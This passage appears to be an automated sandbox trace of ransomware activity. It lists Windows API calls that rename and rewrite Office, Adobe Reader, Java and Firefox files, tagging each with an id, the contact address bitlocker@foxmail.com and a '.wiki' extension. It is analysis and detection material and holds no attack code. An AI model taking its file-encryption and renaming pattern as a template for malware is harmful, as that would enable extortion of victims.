Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.659] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.660] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.664] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.669] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.670] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.501] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.502] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.506] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.525] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.920] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.960] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\gfx.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\gfx.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkexcel.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKExcel.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\gkexcel.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.962] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkpowerpoint.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\gkpowerpoint.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.963] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkword.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\gkword.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.366] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.DPV.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.dpv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.366] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.DPV.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.dpv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.374] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS98.POC.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news98.poc.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.655] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOCIALCONNECTOR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\socialconnector.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOCIALCONNECTOR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\socialconnector.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.657] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\STSLIST.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\stslist.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\STSLIST.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\stslist.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.661] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TIMESOLN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\timesoln.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TIMESOLN.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\timesoln.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.665] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\UML.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\uml.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\UML.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\uml.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISBRGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\visbrgr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISBRGR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\visbrgr.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.694] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISLIB.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\vislib.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISLIB.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\vislib.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.704] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VVIEWDWG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\vviewdwg.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VVIEWDWG.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\vviewdwg.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.706] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VVIEWER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\vviewer.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VVIEWER.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\vviewer.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.712] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\WINPROJ.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\winproj.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\WINPROJ.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\winproj.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnv.dll" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnv.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnv.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.715] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDICON.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\wordicon.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDICON.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\wordicon.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.720] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\WWLIB.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\wwlib.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\WWLIB.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\wwlib.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP" (normalized: "c:\\program files\\microsoft office\\office14\\xocr3.psp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\xocr3.psp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.407] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\authplay.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\authplay.dll"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\authplay.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\authplay.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.420] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\ccme_base.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\ccme_base.dll"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\ccme_base.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\ccme_base.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.421] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\CoolType.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cooltype.dll"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\CoolType.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cooltype.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.421] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cryptocme2.dll"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cryptocme2.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.425] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\icudt40_full.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\icudt40_full.dll"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\icudt40_full.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\icudt40_full.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.159] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\est133.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\est133.lex"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\est133.lex.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\est133.lex.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0167.201] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfxrt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfxrt.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfxrt.jar.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfxrt.jar.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.486] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.486] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.487] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\msolap100.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.489] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033\\grooveintlresource.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033\\grooveintlresource.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.492] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\GROOVEEX.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\grooveex.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\GROOVEEX.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\grooveex.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.500] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\VVIEWDWG.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\vviewdwg.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\VVIEWDWG.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\vviewdwg.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.501] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\VVIEWER.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\vviewer.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\VVIEWER.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\vviewer.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.507] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\microsoft.mshtml.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\microsoft.mshtml.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.510] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\omni.ja"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\omni.ja.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.833] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\gkmedias.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\mozilla firefox\\gkmedias.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.836] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozjs.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozjs.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0169.251] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.251] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.251] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.251] CloseHandle (hObject=0x124) returned 1 [0169.252] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.252] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.252] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.252] CloseHandle (hObject=0x124) returned 1 [0169.257] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\msointl.rest.trx_dll"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\msointl.rest.trx_dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0169.592] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\msointl.rest.trx_dll"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\msointl.rest.trx_dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0169.596] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.596] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.596] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0171.411] GetLastError () returned 0x0 [0171.411] ReadFile (in: hFile=0x124, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x25000, lpOverlapped=0x0) returned 1 [0171.507] WriteFile (in: hFile=0x320, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x25010, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x25010, lpOverlapped=0x0) returned 1 [0171.510] ReadFile (in: hFile=0x124, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, 